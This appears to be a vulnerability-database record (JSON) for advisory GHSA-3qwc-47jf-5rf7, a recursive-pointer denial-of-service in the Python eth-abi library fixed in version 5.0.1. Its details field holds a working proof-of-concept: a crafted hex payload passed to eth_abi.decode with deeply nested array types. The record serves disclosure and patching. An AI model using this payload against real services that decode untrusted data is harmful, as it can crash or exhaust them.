{"id":"GHSA-3qwc-47jf-5rf7","aliases":[],"url":"https://o3.security/vulnerability/GHSA-3qwc-47jf-5rf7","summary":"eth-abi is vulnerable to recursive DoS","details":"This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue\n\n```py\nfrom eth_abi import decode\n\n\npayload = \"0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020\"\n\n# OverflowError: Python int too large to convert to C ssize_t\n#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))\n\ndecode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))\n```","published":"2024-03-05T14:39:13Z","modified":"2026-09-01T21:30:06.284100739Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"eth-abi","fixedVersion":"5.0.1"}],"fix":{"url":"https://github.com/ApeWorX/eth-abi/pull/226","label":"ApeWorX/eth-abi#226"},"references":[{"type":"WEB","url":"https://github.com/ethereum/eth-abi/security/advisories/GHSA-3qwc-47jf-5rf7"},{"type":"WEB","url":"https://github.com/ApeWorX/eth-abi/pull/226"},{"type":"WEB","url":"https://github.com/ethereum/eth-abi/commit/82c1ad37a866472562d81fedaef0f4fed0a08269"},{"type":"PACKAGE","url":"https://github.com/ethereum/eth-abi"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-01T21:30:06.284100739Z"}}